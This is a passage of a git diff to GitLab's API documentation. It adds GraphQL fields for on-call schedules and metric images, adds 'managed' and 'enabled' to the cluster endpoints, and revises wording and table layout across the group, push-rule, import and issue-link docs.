| String! | Name of the on-call schedule | +| `timezone` | String! | Time zone of the on-call schedule | + ### InstanceSecurityDashboard | Field | Type | Description | @@ -1591,6 +1622,7 @@ Represents a recorded measurement (object count) for the Admins. | `iid` | ID! | Internal ID of the issue | | `iteration` | Iteration | Iteration of the issue | | `labels` | LabelConnection | Labels of the issue | +| `metricImages` | MetricImage! => Array | Metric images associated to the issue. | | `milestone` | Milestone | Milestone of the issue | | `moved` | Boolean | Indicates if issue got moved from other project | | `movedTo` | Issue | Updated Issue after it got moved to another project | @@ -2057,6 +2089,18 @@ Autogenerated return type of MergeRequestUpdate. | `revision` | String! | Revision | | `version` | String! | Version | +### MetricImage + +Represents a metric image upload. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `fileName` | String | File name of the metric image | +| `filePath` | String | File path of the metric image | +| `id` | ID! | ID of the metric upload | +| `iid` | ID! | Internal ID of the metric upload | +| `url` | String! | URL of the metric source | + ### MetricsDashboard | Field | Type | Description | @@ -2174,6 +2218,16 @@ Autogenerated return type of NamespaceIncreaseStorageTemporarily. | `repositionNote` | Boolean! | Indicates the user can perform `reposition_note` on this resource | | `resolveNote` | Boolean! | Indicates the user can perform `resolve_note` on this resource | +### OncallScheduleCreatePayload + +Autogenerated return type of OncallScheduleCreate. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `oncallSchedule` | IncidentManagementOncallSchedule | The on-call schedule | + ### Package Represents a package. @@ -2318,6 +2372,7 @@ Autogenerated return type of PipelineRetry. | `httpUrlToRepo` | String | URL to connect to the project via HTTPS | | `id` | ID! | ID of the project | | `importStatus` | String | Status of import background job of the project | +| `incidentManagementOncallSchedules` | IncidentManagementOncallScheduleConnection | Incident Management On-call schedules of the project | | `issue` | Issue | A single issue of the project | | `issueStatusCounts` | IssueStatusCountsType | Counts of issues by status for the project | | `issues` | IssueConnection | Issues of the project | @@ -2596,6 +2651,16 @@ Represents the source code attached to a release in a particular format. | `format` | String | Format of the source | | `url` | String | Download URL of the source | +### ReleaseUpdatePayload + +Autogenerated return type of ReleaseUpdate. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `release` | Release | The release after mutation. | + ### RemoveAwardEmojiPayload Autogenerated return type of RemoveAwardEmoji. @@ -3325,6 +3390,16 @@ Autogenerated return type of UpdateContainerExpirationPolicy. | `containerExpirationPolicy` | ContainerExpirationPolicy | The container expiration policy after mutation | | `errors` | String! => Array | Errors encountered during execution of the mutation. | +### UpdateDevopsAdoptionSegmentPayload + +Autogenerated return type of UpdateDevopsAdoptionSegment. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `segment` | DevopsAdoptionSegment | The segment after mutation | + ### UpdateEpicPayload Autogenerated return type of UpdateEpic. @@ -3363,7 +3438,7 @@ Autogenerated return type of UpdateIteration. | ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -| `iteration` | Iteration | The updated iteration | +| `iteration` | Iteration | Updated iteration. | ### UpdateNotePayload @@ -3407,6 +3482,7 @@ Autogenerated return type of UpdateSnippet. | `groupCount` | Int | Group count for the user. Available only when feature flag `user_group_counts` is enabled | | `groupMemberships` | GroupMemberConnection | Group memberships of the user | | `id` | ID! | ID of the user | +| `location` | String | The location of the user. | | `name` | String! | Human-readable name of the user | | `projectMemberships` | ProjectMemberConnection | Project memberships of the user | | `snippets` | SnippetConnection | Snippets authored by the user | diff --git a/doc/api/group_badges.md b/doc/api/group_badges.md index e13b9633da9..4ef6db89aac 100644 --- a/doc/api/group_badges.md +++ b/doc/api/group_badges.md @@ -10,15 +10,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Placeholder tokens -Badges support placeholders that will be replaced in real time in both the link and image URL. The allowed placeholders are: +Badges support placeholders that are replaced in real time in both the link and image URL. The allowed placeholders are: -- **%{project_path}**: will be replaced by the project path. -- **%{project_id}**: will be replaced by the project ID. -- **%{default_branch}**: will be replaced by the project default branch. -- **%{commit_sha}**: will be replaced by the last project's commit SHA. +- **%{project_path}**: replaced by the project path. +- **%{project_id}**: replaced by the project ID. +- **%{default_branch}**: replaced by the project default branch. +- **%{commit_sha}**: replaced by the last project's commit SHA. -Because these endpoints aren't inside a project's context, the information used to replace the placeholders will be -from the first group's project by creation date. If the group hasn't got any project the original URL with the placeholders will be returned. +Because these endpoints aren't inside a project's context, the information used to replace the placeholders comes +from the first group's project by creation date. If the group hasn't got any project the original URL with the placeholders is returned. ## List all badges of a group diff --git a/doc/api/group_clusters.md b/doc/api/group_clusters.md index 27b76d1f0c0..aba7187bf59 100644 --- a/doc/api/group_clusters.md +++ b/doc/api/group_clusters.md @@ -20,9 +20,9 @@ GET /groups/:id/clusters Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | +| Attribute | Type | Required | Description | +| --------- | -------------- | -------- | ----------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | Example request: @@ -39,6 +39,8 @@ Example response: "name":"cluster-1", "domain":"example.com", "created_at":"2019-01-02T20:18:12.563Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", "environment_scope":"*", @@ -87,10 +89,10 @@ GET /groups/:id/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | -| `cluster_id` | integer | yes | The ID of the cluster | +| Attribute | Type | Required | Description | +| ------------ | -------------- | -------- | ----------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | +| `cluster_id` | integer | yes | The ID of the cluster | Example request: @@ -106,6 +108,8 @@ Example response: "name":"cluster-1", "domain":"example.com", "created_at":"2019-01-02T20:18:12.563Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", "environment_scope":"*", @@ -154,19 +158,19 @@ POST /groups/:id/clusters/user Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | -| `name` | string | yes | The name of the cluster | -| `domain` | string | no | The [base domain](../user/group/clusters/index.md#base-domain) of the cluster | -| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | -| `enabled` | boolean | no | Determines if cluster is active or not, defaults to true | -| `managed` | boolean | no | Determines if GitLab will manage namespaces and service accounts for this cluster, defaults to true | -| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API | -| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes | -| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | -| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. | -| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` **(PREMIUM)** | +| Attribute | Type | Required | Description | +| ---------------------------------------------------- | -------------- | -------- | --------------------------------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | +| `name` | string | yes | The name of the cluster | +| `domain` | string | no | The [base domain](../user/group/clusters/index.md#base-domain) of the cluster | +| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | +| `enabled` | boolean | no | Determines if cluster is active or not, defaults to `true` | +| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster. Defaults to `true` | +| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API | +| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes | +| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | +| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. | +| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` **(PREMIUM)** | Example request: @@ -184,6 +188,8 @@ Example response: "id":24, "name":"cluster-5", "created_at":"2019-01-03T21:53:40.610Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", "environment_scope":"*", @@ -223,17 +229,19 @@ PUT /groups/:id/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | -| `cluster_id` | integer | yes | The ID of the cluster | -| `name` | string | no | The name of the cluster | -| `domain` | string | no | The [base domain](../user/group/clusters/index.md#base-domain) of the cluster | -| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | -| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API | -| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes | -| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | -| `environment_scope` | string | no | The associated environment to the cluster **(PREMIUM)** | +| Attribute | Type | Required | Description | +| ----------------------------------------- | -------------- | -------- | ------------------------------------------------------------------------------------------ | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | +| `cluster_id` | integer | yes | The ID of the cluster | +| `name` | string | no | The name of the cluster | +| `domain` | string | no | The [base domain](../user/group/clusters/index.md#base-domain) of the cluster | +| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | +| `enabled` | boolean | no | Determines if cluster is active or not | +| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster | +| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API | +| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes | +| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | +| `environment_scope` | string | no | The associated environment to the cluster **(PREMIUM)** | NOTE: **Note:** `name`, `api_url`, `ca_cert` and `token` can only be updated if the cluster was added @@ -256,6 +264,8 @@ Example response: "name":"new-cluster-name", "domain":"new-domain.com", "created_at":"2019-01-03T21:53:40.610Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", "environment_scope":"*", @@ -304,10 +314,10 @@ DELETE /groups/:id/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | -| `cluster_id` | integer | yes | The ID of the cluster | +| Attribute | Type | Required | Description | +| ------------ | -------------- | -------- | ----------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | +| `cluster_id` | integer | yes | The ID of the cluster | Example request: diff --git a/doc/api/groups.md b/doc/api/groups.md index 0a584795d21..ce94eb455ce 100644 --- a/doc/api/groups.md +++ b/doc/api/groups.md @@ -339,7 +339,7 @@ Example response: ``` NOTE: **Note:** -To distinguish between a project in the group and a project shared to the group, the `namespace` attribute can be used. When a project has been shared to the group, its `namespace` will be different from the group the request is being made for. +To distinguish between a project in the group and a project shared to the group, the `namespace` attribute can be used. When a project has been shared to the group, its `namespace` differs from the group the request is being made for. ## List a group's shared projects @@ -479,7 +479,7 @@ Example response: ## Details of a group Get all details of a group. This endpoint can be accessed without authentication -if the group is publicly accessible. In case the user that requests is admin of the group, it will return the `runners_token` for the group too. +if the group is publicly accessible. In case the user that requests is admin of the group, it returns the `runners_token` for the group too. ```plaintext GET /groups/:id @@ -491,10 +491,10 @@ Parameters: | ------------------------ | -------------- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user. | | `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (admins only). | -| `with_projects` | boolean | no | Include details from projects that belong to the specified group (defaults to `true`). (Deprecated, [will be removed in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). To get the details of all projects within a group, use the [list a group's projects endpoint](#list-a-groups-projects).) | +| `with_projects` | boolean | no | Include details from projects that belong to the specified group (defaults to `true`). (Deprecated, [scheduled for removal in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). To get the details of all projects within a group, use the [list a group's projects endpoint](#list-a-groups-projects).) | NOTE: **Note:** -The `projects` and `shared_projects` attributes in the response are deprecated and will be [removed in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). +The `projects` and `shared_projects` attributes in the response are deprecated and [scheduled for removal in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). To get the details of all projects within a group, use either the [list a group's projects](#list-a-groups-projects) or the [list a group's shared projects](#list-a-groups-shared-projects) endpoint. ```shell @@ -670,7 +670,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see the `shared_runners_minutes_limit` and `extra_shared_runners_minutes_limit` parameters: Additional response parameters: @@ -685,7 +685,7 @@ Additional response parameters: } ``` -Users on GitLab [Silver, Premium, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Silver, Premium, or higher](https://about.gitlab.com/pricing/) also see the `marked_for_deletion_on` attribute: ```json @@ -697,7 +697,7 @@ the `marked_for_deletion_on` attribute: } ``` -When adding the parameter `with_projects=false`, projects will not be returned. +When adding the parameter `with_projects=false`, projects aren't returned. ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/4?with_projects=false" @@ -790,7 +790,7 @@ The `shared_runners_setting` attribute determines whether shared runners are ena ## New Subgroup -This is similar to creating a [New group](#new-group). You'll need the `parent_id` from the [List groups](#list-groups) call. You can then enter the desired: +This is similar to creating a [New group](#new-group). You need the `parent_id` from the [List groups](#list-groups) call. You can then enter the desired: - `subgroup_path` - `subgroup_name` @@ -854,7 +854,7 @@ PUT /groups/:id | `prevent_forking_outside_group` | boolean | no | **(PREMIUM)** When enabled, users can **not** fork projects from this group to external namespaces NOTE: **Note:** -The `projects` and `shared_projects` attributes in the response are deprecated and will be [removed in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). +The `projects` and `shared_projects` attributes in the response are deprecated and [scheduled for removal in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). To get the details of all projects within a group, use either the [list a group's projects](#list-a-groups-projects) or the [list a group's shared projects](#list-a-groups-shared-projects) endpoint. ```shell @@ -948,7 +948,7 @@ Only available to group owners and administrators. This endpoint either: - Removes group, and queues a background job to delete all projects in the group as well. -- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, marks a group for deletion. The deletion will happen 7 days later by default, but this can be changed in the [instance settings](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). +- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, marks a group for deletion. The deletion happens 7 days later by default, but this can be changed in the [instance settings](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). ```plaintext DELETE /groups/:id @@ -960,7 +960,7 @@ Parameters: | --------------- | -------------- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | -The response will be `202 Accepted` if the user has authorization. +The response is `202 Accepted` if the user has authorization. ## Restore group marked for deletion **(PREMIUM)** @@ -1074,7 +1074,7 @@ POST /groups/:id/hooks | `deployment_events` | boolean | no | Trigger hook on deployment events | | `releases_events` | boolean | no | Trigger hook on release events | | `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook | -| `token` | string | no | Secret token to validate received payloads; this will not be returned in the response | +| `token` | string | no | Secret token to validate received payloads; not returned in the response | ### Edit group hook @@ -1102,7 +1102,7 @@ PUT /groups/:id/hooks/:hook_id | `deployment_events` | boolean | no | Trigger hook on deployment events | | `releases_events` | boolean | no | Trigger hook on release events | | `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook | -| `token` | string | no | Secret token to validate received payloads; this will not be returned in the response | +| `token` | string | no | Secret token to validate received payloads; not returned in the response | ### Delete group hook @@ -1175,7 +1175,7 @@ To define the LDAP group link, provide either a `cn` or a `filter`, but not both ### Delete LDAP group link **(STARTER ONLY)** -Deletes an LDAP group link. Deprecated. Will be removed in a future release. +Deletes an LDAP group link. Deprecated. Scheduled for removal in a future release. ```plaintext DELETE /groups/:id/ldap_group_links/:cn @@ -1186,7 +1186,7 @@ DELETE /groups/:id/ldap_group_links/:cn | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | | `cn` | string | yes | The CN of an LDAP group | -Deletes an LDAP group link for a specific LDAP provider. Deprecated. Will be removed in a future release. +Deletes an LDAP group link for a specific LDAP provider. Deprecated. Scheduled for removal in a future release. ```plaintext DELETE /groups/:id/ldap_group_links/:provider/:cn @@ -1306,7 +1306,7 @@ GET /groups/:id/push_rule } ``` -Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) also see the `commit_committer_check` and `reject_unsigned_commits` parameters: ```json @@ -1334,15 +1334,15 @@ POST /groups/:id/push_rule | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | | `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag | | `member_check` **(STARTER)** | boolean | no | Allows only GitLab users to author commits | -| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) will be rejected | +| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected | | `commit_message_regex` **(STARTER)** | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` | -| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute will not be allowed, e.g. `ssh\:\/\/` | +| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` | | `branch_name_regex` **(STARTER)** | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` | | `author_email_regex` **(STARTER)** | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` | -| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute will **not** be allowed, e.g. `(jar|exe)$` | +| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` | | `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) allowed | -| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails will be allowed | -| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG will be allowed | +| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails are allowed | +| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG are allowed | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/19/push_rule" @@ -1381,15 +1381,15 @@ PUT /groups/:id/push_rule | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | | `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag | | `member_check` **(STARTER)** | boolean | no | Restricts commits to be authored by existing GitLab users only | -| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) will be rejected | +| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected | | `commit_message_regex` **(STARTER)** | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` | -| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute will not be allowed, e.g. `ssh\:\/\/` | +| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` | | `branch_name_regex` **(STARTER)** | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` | | `author_email_regex` **(STARTER)** | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` | -| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute will **not** be allowed, e.g. `(jar|exe)$` | +| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` | | `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) allowed | -| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails will be allowed | -| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG will be allowed | +| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails are allowed | +| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG are allowed | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/19/push_rule" diff --git a/doc/api/import.md b/doc/api/import.md index 27f5915b206..ff473c7ccf8 100644 --- a/doc/api/import.md +++ b/doc/api/import.md @@ -53,7 +53,7 @@ Import your projects from Bitbucket Server to GitLab via the API. NOTE: **Note:** The Bitbucket Project Key is only used for finding the repository in Bitbucket. You must specify a `target_namespace` if you want to import the repository to a GitLab group. -If you do not specify `target_namespace`, the project will import to your personal user namespace. +If you do not specify `target_namespace`, the project imports to your personal user namespace. ```plaintext POST /import/bitbucket_server diff --git a/doc/api/instance_clusters.md b/doc/api/instance_clusters.md index bc4eca5abfd..56bd09fbb6c 100644 --- a/doc/api/instance_clusters.md +++ b/doc/api/instance_clusters.md @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36001) in GitLab 13.2. NOTE: **Note:** -User will need admin access to use these endpoints. +Users need admin access to use these endpoints. Use these API endpoints with your instance clusters, which enable you to use the same cluster across multiple projects. [More information](../user/instance/clusters/index.md) @@ -35,6 +35,8 @@ Example response: "id": 9, "name": "cluster-1", "created_at": "2020-07-14T18:36:10.440Z", + "managed": true, + "enabled": true, "domain": null, "provider_type": "user", "platform_type": "kubernetes", @@ -98,9 +100,9 @@ Returns a single instance cluster. Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `cluster_id` | integer | yes | The ID of the cluster | +| Attribute | Type | Required | Description | +| ------------ | ------- | -------- | --------------------- | +| `cluster_id` | integer | yes | The ID of the cluster | ```plaintext GET /admin/clusters/:cluster_id @@ -119,6 +121,8 @@ Example response: "id": 9, "name": "cluster-1", "created_at": "2020-07-14T18:36:10.440Z", + "managed": true, + "enabled": true, "domain": null, "provider_type": "user", "platform_type": "kubernetes", @@ -153,19 +157,19 @@ POST /admin/clusters/add Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `name` | string | yes | The name of the cluster | -| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | -| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` | -| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | -| `enabled` | boolean | no | Determines if cluster is active or not, defaults to true | -| `managed` | boolean | no | Determines if GitLab will manage namespaces and service accounts for this cluster, defaults to true | -| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API | -| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes | -| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | -| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | -| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. | +| Attribute | Type | Required | Description | +| ---------------------------------------------------- | ------- | -------- | ----------------------------------------------------------------------------------------------------- | +| `name` | string | yes | The name of the cluster | +| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | +| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` | +| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | +| `enabled` | boolean | no | Determines if cluster is active or not, defaults to `true` | +| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster. Defaults to `true` | +| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API | +| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes | +| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | +| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | +| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. | Example request: @@ -184,6 +188,8 @@ Example response: "id": 11, "name": "cluster-3", "created_at": "2020-07-14T18:42:50.805Z", + "managed": true, + "enabled": true, "domain": null, "provider_type": "user", "platform_type": "kubernetes", @@ -218,18 +224,19 @@ PUT /admin/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `cluster_id` | integer | yes | The ID of the cluster | -| `name` | string | no | The name of the cluster | -| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | -| `environment_scope` | string | no | The associated environment to the cluster | -| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | -| `enabled` | boolean | no | Determines if cluster is active or not, defaults to true | -| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API | -| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes | -| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | -| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | +| Attribute | Type | Required | Description | +| ------------------------------------------- | ------- | -------- | ------------------------------------------------------------------------------------------ | +| `cluster_id` | integer | yes | The ID of the cluster | +| `name` | string | no | The name of the cluster | +| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | +| `environment_scope` | string | no | The associated environment to the cluster | +| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | +| `enabled` | boolean | no | Determines if cluster is active or not | +| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster | +| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API | +| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes | +| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | +| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | NOTE: **Note:** `name`, `api_url`, `ca_cert` and `token` can only be updated if the cluster was added @@ -252,6 +259,8 @@ Example response: "id": 9, "name": "update-cluster-name", "created_at": "2020-07-14T18:36:10.440Z", + "managed": true, + "enabled": true, "domain": null, "provider_type": "user", "platform_type": "kubernetes", @@ -288,9 +297,9 @@ DELETE /admin/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `cluster_id` | integer | yes | The ID of the cluster | +| Attribute | Type | Required | Description | +| ------------ | ------- | -------- | --------------------- | +| `cluster_id` | integer | yes | The ID of the cluster | Example request: diff --git a/doc/api/invitations.md b/doc/api/invitations.md index 6fd2b26d80f..b6dc83201a8 100644 --- a/doc/api/invitations.md +++ b/doc/api/invitations.md @@ -23,7 +23,7 @@ levels are defined in the `Gitlab::Access` module. Currently, these levels are v CAUTION: **Caution:** Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/219299), -projects in personal namespaces will not show owner (`50`) permission. +projects in personal namespaces don't show owner (`50`) permission. ## Invite by email to group or project diff --git a/doc/api/issue_links.md b/doc/api/issue_links.md index 41e2dd7c147..00e09a8a3e7 100644 --- a/doc/api/issue_links.md +++ b/doc/api/issue_links.md @@ -12,7 +12,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Get a list of a given issue's [related issues](../user/project/issues/related_issues.md), sorted by the relationship creation datetime (ascending). -Issues will be filtered according to the user authorizations. +Issues are filtered according to the user authorizations. ```plaintext GET /projects/:id/issues/:issue_iid/links @@ -57,7 +57,9 @@ Parameters: "web_url": "http://example.com/example/example/issues/14", "confidential": false, "weight": null, - "link_type": "relates_to" + "link_type": "relates_to", + "link_created_at": "2016-01-07T12:44:33.959Z", + "link_updated_at": "2016-01-07T12:44:33.959Z" } ] ``` diff --git 